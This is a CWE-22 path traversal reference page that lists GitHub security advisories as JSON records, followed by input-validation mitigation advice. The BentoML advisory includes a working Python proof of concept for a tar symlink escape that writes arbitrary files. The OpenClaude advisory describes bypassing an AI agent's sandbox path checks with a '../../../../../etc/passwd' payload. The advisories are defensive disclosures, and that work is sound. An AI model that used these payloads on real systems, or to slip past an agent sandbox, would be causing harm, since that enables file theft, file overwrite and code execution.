CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13297 vulnerabilities reference this CWE, most recent first.
GHSA-M6GP-P6W8-32GW
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20OpenCV-REST-API master branch as of commit 69be158c05d4dd5a4aff38fdc680a162dd6b9e49 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
{
"affected": [],
"aliases": [
"CVE-2021-43494"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-12T14:15:00Z",
"severity": "HIGH"
},
"details": "OpenCV-REST-API master branch as of commit 69be158c05d4dd5a4aff38fdc680a162dd6b9e49 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.",
"id": "GHSA-m6gp-p6w8-32gw",
"modified": "2022-05-24T19:20:31Z",
"published": "2022-05-24T19:20:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43494"
},
{
"type": "WEB",
"url": "https://github.com/codingforentrepreneurs/OpenCV-REST-API/issues/2"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-M6GP-QHXX-V795
Vulnerability from github – Published: 2023-02-01 03:30 – Updated: 2025-03-27 15:30Serenissima Informatica Fast Checkin 1.0 is vulnerable to Directory Traversal.
{
"affected": [],
"aliases": [
"CVE-2022-47768"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-01T02:15:00Z",
"severity": "HIGH"
},
"details": "Serenissima Informatica Fast Checkin 1.0 is vulnerable to Directory Traversal.",
"id": "GHSA-m6gp-qhxx-v795",
"modified": "2025-03-27T15:30:38Z",
"published": "2023-02-01T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47768"
},
{
"type": "WEB",
"url": "https://www.swascan.com/it/security-advisory-serenissima-informatica-fastcheckin"
},
{
"type": "WEB",
"url": "http://serenissima.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M6QP-48C3-3P5J
Vulnerability from github – Published: 2025-11-14 18:31 – Updated: 2025-11-14 21:30An issue was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 which allows remote Path Traversal for loading arbitrary external content.
{
"affected": [],
"aliases": [
"CVE-2025-54559"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-14T18:15:49Z",
"severity": "LOW"
},
"details": "An issue was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 which allows remote Path Traversal for loading arbitrary external content.",
"id": "GHSA-m6qp-48c3-3p5j",
"modified": "2025-11-14T21:30:29Z",
"published": "2025-11-14T18:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54559"
},
{
"type": "WEB",
"url": "https://desktopalert.net"
},
{
"type": "WEB",
"url": "https://desktopalert.net/cve-2025-54559"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M6QP-W746-HQQP
Vulnerability from github – Published: 2022-05-17 02:46 – Updated: 2022-05-17 02:46Directory traversal vulnerability in upload.cgi in Trend Micro Threat Discovery Appliance 2.6.1062r1 and earlier allows remote authenticated users to execute arbitrary code via a .. (dot dot) in the dID parameter.
{
"affected": [],
"aliases": [
"CVE-2016-8593"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-28T19:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in upload.cgi in Trend Micro Threat Discovery Appliance 2.6.1062r1 and earlier allows remote authenticated users to execute arbitrary code via a .. (dot dot) in the dID parameter.",
"id": "GHSA-m6qp-w746-hqqp",
"modified": "2022-05-17T02:46:28Z",
"published": "2022-05-17T02:46:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8593"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/142215/Trend-Micro-Threat-Discovery-Appliance-2.6.1062r1-upload.cgi-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M6R3-RWCC-3F72
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2023-03-29 18:30Dell/Alienware Digital Delivery versions prior to 4.0.41 contain a privilege escalation vulnerability. A local non-privileged malicious user could exploit a Universal Windows Platform application by manipulating the install software package feature with a race condition and a path traversal exploit in order to run a malicious executable with elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2019-3744"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-09T19:15:00Z",
"severity": "HIGH"
},
"details": "Dell/Alienware Digital Delivery versions prior to 4.0.41 contain a privilege escalation vulnerability. A local non-privileged malicious user could exploit a Universal Windows Platform application by manipulating the install software package feature with a race condition and a path traversal exploit in order to run a malicious executable with elevated privileges.",
"id": "GHSA-m6r3-rwcc-3f72",
"modified": "2023-03-29T18:30:29Z",
"published": "2022-05-24T16:53:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3744"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/article/SLN318085"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M6RQ-QQ7H-R6W6
Vulnerability from github – Published: 2025-10-11 18:30 – Updated: 2025-10-11 18:30A weakness has been identified in harry0703 MoneyPrinterTurbo up to 1.2.6. The impacted element is the function upload_music of the file app/controllers/v1/music.py of the component API Endpoint. Executing manipulation of the argument File can lead to path traversal. The attack may be performed from remote. The exploit has been made available to the public and could be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-11607"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-11T17:15:37Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in harry0703 MoneyPrinterTurbo up to 1.2.6. The impacted element is the function upload_music of the file app/controllers/v1/music.py of the component API Endpoint. Executing manipulation of the argument File can lead to path traversal. The attack may be performed from remote. The exploit has been made available to the public and could be exploited.",
"id": "GHSA-m6rq-qq7h-r6w6",
"modified": "2025-10-11T18:30:21Z",
"published": "2025-10-11T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11607"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.327929"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.327929"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.672550"
},
{
"type": "WEB",
"url": "https://www.notion.so/Arbitrary-File-Write-Vulnerability-in-MoneyPrinterTurbo-1-2-6-288014c4d9ca809bb411e4fe875d1e22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M6RX-7PVW-2F73
Vulnerability from github – Published: 2026-04-21 15:16 – Updated: 2026-04-21 15:16A logic flaw exists in bashToolHasPermission() inside src/tools/BashTool/bashPermissions.ts. When the sandbox auto-allow feature is active and no explicit deny rule is configured, the function returns an allow result immediately — before the path constraint filter (checkPathConstraints) is ever evaluated. This allows commands containing path traversal sequences (e.g., ../../../../../etc/passwd) to bypass directory restrictions entirely.
Affected Component
- File:
src/tools/BashTool/bashPermissions.ts - Function:
bashToolHasPermission - Location: ~line 1445 (sandbox auto-allow block)
Vulnerable Code Flow
bashToolHasPermission()
│
├─ [~1445] Sandbox auto-allow block
│ └─ No deny rule found → return ALLOW ⚠️ Early exit
│
└─ [~1644] checkPathConstraints() ❌ Never reached
The sandbox block was designed to skip interactive permission prompts in sandboxed environments. However, it unintentionally also skips the path traversal filter, which is a separate and critical security control.
Impact
Any process or user operating in a sandboxed session with no explicit deny rules can:
- Read arbitrary files outside the sandbox boundary (e.g.,
/etc/passwd,/etc/shadow,.envfiles, SSH private keys) - Write to arbitrary paths (subject to OS-level permissions)
- Fully defeat the filesystem isolation that the sandbox is intended to enforce
Steps to Reproduce
- Enable sandbox mode:
SandboxManager.isSandboxingEnabled() = true - Enable auto-allow:
SandboxManager.isAutoAllowBashIfSandboxedEnabled() = true - Ensure no explicit deny rules are configured for the session
- Submit a bash command with a path traversal payload:
cat ../../../../../etc/passwd - Observe that the command receives
behavior: allowwithout triggeringcheckPathConstraints
Recommended Fix
The sandbox auto-allow block should never short-circuit the full permission pipeline. It may suppress interactive prompts, but path constraint validation must always execute.
Option 1 — Preferred: Continue pipeline on allow
Only return early for deny or ask behaviors. Let allow fall through to checkPathConstraints:
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxAutoAllowResult = checkSandboxAutoAllow(
input,
appState.toolPermissionContext,
);
if (sandboxAutoAllowResult.behavior !== 'allow') {
// Only block or prompt — never skip path checks on allow
return sandboxAutoAllowResult;
}
// If 'allow', continue to checkPathConstraints below
}
Option 2 — Defense in depth: Run path check before returning
Run checkPathConstraints explicitly inside the sandbox block before returning:
if (sandboxAutoAllowResult.behavior !== 'passthrough') {
const pathCheck = checkPathConstraints(input, appState.toolPermissionContext);
if (pathCheck.behavior !== 'allow') {
return pathCheck; // Block traversal attempts even in sandbox
}
return sandboxAutoAllowResult;
}
Option 3 — Minimal change: Move sandbox block after path check
Reorder the function so checkPathConstraints always runs first, and the sandbox block only handles the prompt-suppression logic afterward.
Credit: Elvin Latifli (@Rickidevs )
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@gitlawb/openclaude"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35570"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T15:16:16Z",
"nvd_published_at": "2026-04-21T00:16:28Z",
"severity": "HIGH"
},
"details": "A logic flaw exists in `bashToolHasPermission()` inside `src/tools/BashTool/bashPermissions.ts`. When the sandbox auto-allow feature is active and no explicit deny rule is configured, the function returns an `allow` result immediately \u2014 before the path constraint filter (`checkPathConstraints`) is ever evaluated. This allows commands containing path traversal sequences (e.g., `../../../../../etc/passwd`) to bypass directory restrictions entirely.\n\n## Affected Component\n\n- **File:** `src/tools/BashTool/bashPermissions.ts`\n- **Function:** `bashToolHasPermission`\n- **Location:** ~line 1445 (sandbox auto-allow block)\n\n## Vulnerable Code Flow\n\n```\nbashToolHasPermission()\n \u2502\n \u251c\u2500 [~1445] Sandbox auto-allow block\n \u2502 \u2514\u2500 No deny rule found \u2192 return ALLOW \u26a0\ufe0f Early exit\n \u2502\n \u2514\u2500 [~1644] checkPathConstraints() \u274c Never reached\n```\n\nThe sandbox block was designed to skip interactive permission prompts in sandboxed environments. However, it unintentionally also skips the path traversal filter, which is a separate and critical security control.\n\n## Impact\n\nAny process or user operating in a sandboxed session with no explicit deny rules can:\n\n- Read arbitrary files outside the sandbox boundary (e.g., `/etc/passwd`, `/etc/shadow`, `.env` files, SSH private keys)\n- Write to arbitrary paths (subject to OS-level permissions)\n- Fully defeat the filesystem isolation that the sandbox is intended to enforce\n\n## Steps to Reproduce\n\n1. Enable sandbox mode: `SandboxManager.isSandboxingEnabled() = true`\n2. Enable auto-allow: `SandboxManager.isAutoAllowBashIfSandboxedEnabled() = true`\n3. Ensure no explicit deny rules are configured for the session\n4. Submit a bash command with a path traversal payload:\n ```\n cat ../../../../../etc/passwd\n ```\n5. Observe that the command receives `behavior: allow` without triggering `checkPathConstraints`\n\n## Recommended Fix\n\nThe sandbox auto-allow block should **never short-circuit the full permission pipeline**. It may suppress interactive prompts, but path constraint validation must always execute.\n\n### Option 1 \u2014 Preferred: Continue pipeline on `allow`\n\nOnly return early for `deny` or `ask` behaviors. Let `allow` fall through to `checkPathConstraints`:\n\n```typescript\nif (\n SandboxManager.isSandboxingEnabled() \u0026\u0026\n SandboxManager.isAutoAllowBashIfSandboxedEnabled() \u0026\u0026\n shouldUseSandbox(input)\n) {\n const sandboxAutoAllowResult = checkSandboxAutoAllow(\n input,\n appState.toolPermissionContext,\n );\n if (sandboxAutoAllowResult.behavior !== \u0027allow\u0027) {\n // Only block or prompt \u2014 never skip path checks on allow\n return sandboxAutoAllowResult;\n }\n // If \u0027allow\u0027, continue to checkPathConstraints below\n}\n```\n\n### Option 2 \u2014 Defense in depth: Run path check before returning\n\nRun `checkPathConstraints` explicitly inside the sandbox block before returning:\n\n```typescript\nif (sandboxAutoAllowResult.behavior !== \u0027passthrough\u0027) {\n const pathCheck = checkPathConstraints(input, appState.toolPermissionContext);\n if (pathCheck.behavior !== \u0027allow\u0027) {\n return pathCheck; // Block traversal attempts even in sandbox\n }\n return sandboxAutoAllowResult;\n}\n```\n\n### Option 3 \u2014 Minimal change: Move sandbox block after path check\n\nReorder the function so `checkPathConstraints` always runs first, and the sandbox block only handles the prompt-suppression logic afterward.\n\n---\n\nCredit: Elvin Latifli (@Rickidevs )",
"id": "GHSA-m6rx-7pvw-2f73",
"modified": "2026-04-21T15:16:16Z",
"published": "2026-04-21T15:16:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Gitlawb/openclaude/security/advisories/GHSA-m6rx-7pvw-2f73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35570"
},
{
"type": "WEB",
"url": "https://github.com/Gitlawb/openclaude/commit/7002cb302b78ea2a19da3f26226de24e2903fa1d"
},
{
"type": "PACKAGE",
"url": "https://github.com/Gitlawb/openclaude"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenClaude: Sandbox Bypass via Early-Exit Logic Flaw Allows Path Traversal "
}
GHSA-M6VJ-6H49-WG69
Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access files belonging to other users on the same device.
{
"affected": [],
"aliases": [
"CVE-2026-6282"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T16:17:01Z",
"severity": "HIGH"
},
"details": "A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access files belonging to other users on the same device.",
"id": "GHSA-m6vj-6h49-wg69",
"modified": "2026-05-13T18:30:58Z",
"published": "2026-05-13T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6282"
},
{
"type": "WEB",
"url": "https://iknow.lenovo.com.cn/detail/440274"
},
{
"type": "WEB",
"url": "https://pc.lenovo.com.cn/tips/Ann/t1_eol.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M6W7-QV66-G3MF
Vulnerability from github – Published: 2026-03-03 17:46 – Updated: 2026-03-04 02:00Arbitrary File Write via Symlink Path Traversal in Tar Extraction
Summary
The safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.
Affected Component
- File:
src/bentoml/_internal/utils/filesystem.py:58-96 - Callers:
src/bentoml/_internal/cloud/bento.py:542,src/bentoml/_internal/cloud/model.py:504 - Affected versions: All versions with
safe_extract_tarfile()
Severity
CVSS 3.1: 8.1 (High)
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Vulnerability Details
Vulnerable Code (filesystem.py:58-96)
def safe_extract_tarfile(tar, destination):
os.makedirs(destination, exist_ok=True)
for member in tar.getmembers():
fn = member.name
path = os.path.abspath(os.path.join(destination, fn))
if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE
continue # Only checks member path, NOT symlink target
if member.issym():
tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target
else:
fp = tar.extractfile(member)
with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks
shutil.copyfileobj(fp, destfp)
The Bug
- Line 64:
Path(path).is_relative_to(destination)checks the member's OWN path, not the symlink target - Line 75:
tar._extract_member()creates symlink with unvalidated target (e.g.,/etc) - Line 92:
open(path, "wb")follows the symlink, writing OUTSIDE the destination
os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.
Proof of Concept
import io, os, shutil, tarfile, tempfile
from pathlib import Path
def create_malicious_tar(target_dir, target_file, payload):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tar:
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = target_dir
tar.addfile(sym)
info = tarfile.TarInfo(name=f'escape/{target_file}')
info.size = len(payload)
tar.addfile(info, io.BytesIO(payload))
buf.seek(0)
return buf
with tempfile.TemporaryDirectory() as tmpdir:
extract_dir = os.path.join(tmpdir, 'extract')
target_dir = os.path.join(tmpdir, 'outside')
os.makedirs(target_dir)
mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
# Reproduce filesystem.py:58-96
os.makedirs(extract_dir, exist_ok=True)
for member in tar.getmembers():
path = os.path.abspath(os.path.join(extract_dir, member.name))
if not Path(path).is_relative_to(extract_dir): continue
if member.issym():
tar._extract_member(member, path) # Symlink target NOT checked
else:
fp = tar.extractfile(member)
os.makedirs(os.path.dirname(path), exist_ok=True)
if fp:
with open(path, 'wb') as destfp: # Follows symlink!
shutil.copyfileobj(fp, destfp)
assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED
Impact
1. Arbitrary file overwrite via shared bentos
BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorized_keys, crontabs, Python site-packages.
2. Remote code execution via file overwrite
Overwriting ~/.bashrc or Python packages achieves RCE.
3. BentoCloud deployments
safe_extract_tarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.
Remediation
Validate symlink targets:
if member.issym():
target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
if not Path(target).is_relative_to(dest):
logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
continue
Or use Python 3.12+ tar.extractall(filter='data').
References
- CWE-59: Improper Link Resolution Before File Access ('Link Following')
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "bentoml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27905"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T17:46:47Z",
"nvd_published_at": "2026-03-03T23:15:55Z",
"severity": "HIGH"
},
"details": "# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member\u0027s path is within the destination directory, but for symlink members it only validates the symlink\u0027s own path, **not the symlink\u0027s target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n os.makedirs(destination, exist_ok=True)\n for member in tar.getmembers():\n fn = member.name\n path = os.path.abspath(os.path.join(destination, fn))\n if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE\n continue # Only checks member path, NOT symlink target\n if member.issym():\n tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target\n else:\n fp = tar.extractfile(member)\n with open(path, \"wb\") as destfp: # Line 92: open() FOLLOWS symlinks\n shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member\u0027s OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n buf = io.BytesIO()\n with tarfile.open(fileobj=buf, mode=\u0027w:gz\u0027) as tar:\n sym = tarfile.TarInfo(name=\u0027escape\u0027)\n sym.type = tarfile.SYMTYPE\n sym.linkname = target_dir\n tar.addfile(sym)\n info = tarfile.TarInfo(name=f\u0027escape/{target_file}\u0027)\n info.size = len(payload)\n tar.addfile(info, io.BytesIO(payload))\n buf.seek(0)\n return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n extract_dir = os.path.join(tmpdir, \u0027extract\u0027)\n target_dir = os.path.join(tmpdir, \u0027outside\u0027)\n os.makedirs(target_dir)\n \n mal_tar = create_malicious_tar(target_dir, \u0027pwned.txt\u0027, b\u0027PWNED\u0027)\n tar = tarfile.open(fileobj=mal_tar, mode=\u0027r:gz\u0027)\n \n # Reproduce filesystem.py:58-96\n os.makedirs(extract_dir, exist_ok=True)\n for member in tar.getmembers():\n path = os.path.abspath(os.path.join(extract_dir, member.name))\n if not Path(path).is_relative_to(extract_dir): continue\n if member.issym():\n tar._extract_member(member, path) # Symlink target NOT checked\n else:\n fp = tar.extractfile(member)\n os.makedirs(os.path.dirname(path), exist_ok=True)\n if fp:\n with open(path, \u0027wb\u0027) as destfp: # Follows symlink!\n shutil.copyfileobj(fp, destfp)\n \n assert os.path.exists(os.path.join(target_dir, \u0027pwned.txt\u0027))\n print(open(os.path.join(target_dir, \u0027pwned.txt\u0027)).read()) # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n if not Path(target).is_relative_to(dest):\n logger.warning(\u0027Symlink %s points outside: %s\u0027, member.name, member.linkname)\n continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter=\u0027data\u0027)`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"id": "GHSA-m6w7-qv66-g3mf",
"modified": "2026-03-04T02:00:42Z",
"published": "2026-03-03T17:46:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-m6w7-qv66-g3mf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27905"
},
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/commit/4e0eb007765ac04c7924220d643f264715cc9670"
},
{
"type": "PACKAGE",
"url": "https://github.com/bentoml/BentoML"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction"
}
GHSA-M724-HQMC-GGPX
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 17:03A vulnerability in the ImageClassificationDataset.from_csv() API of the dmlc/gluon-cv repository, version 0.10.0, allows for arbitrary file write. The function downloads and extracts tar.gz files from URLs without proper sanitization, making it susceptible to a TarSlip vulnerability. Attackers can exploit this by crafting malicious tar files that, when extracted, can overwrite files on the victim's system via path traversal or faked symlinks.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gluoncv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-12216"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T17:03:33Z",
"nvd_published_at": "2025-03-20T10:15:27Z",
"severity": "HIGH"
},
"details": "A vulnerability in the `ImageClassificationDataset.from_csv()` API of the `dmlc/gluon-cv` repository, version 0.10.0, allows for arbitrary file write. The function downloads and extracts `tar.gz` files from URLs without proper sanitization, making it susceptible to a TarSlip vulnerability. Attackers can exploit this by crafting malicious tar files that, when extracted, can overwrite files on the victim\u0027s system via path traversal or faked symlinks.",
"id": "GHSA-m724-hqmc-ggpx",
"modified": "2025-03-21T17:03:33Z",
"published": "2025-03-20T12:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12216"
},
{
"type": "PACKAGE",
"url": "https://github.com/dmlc/gluon-cv"
},
{
"type": "WEB",
"url": "https://github.com/dmlc/gluon-cv/blob/3862e2db33ab650eff7c7c5c5891e805207027b1/gluoncv/utils/filesystem.py#L223-L229"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/46081fdc-2951-4deb-a2c9-2627007bdce0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GluonCV Arbitrary File Write via TarSlip"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
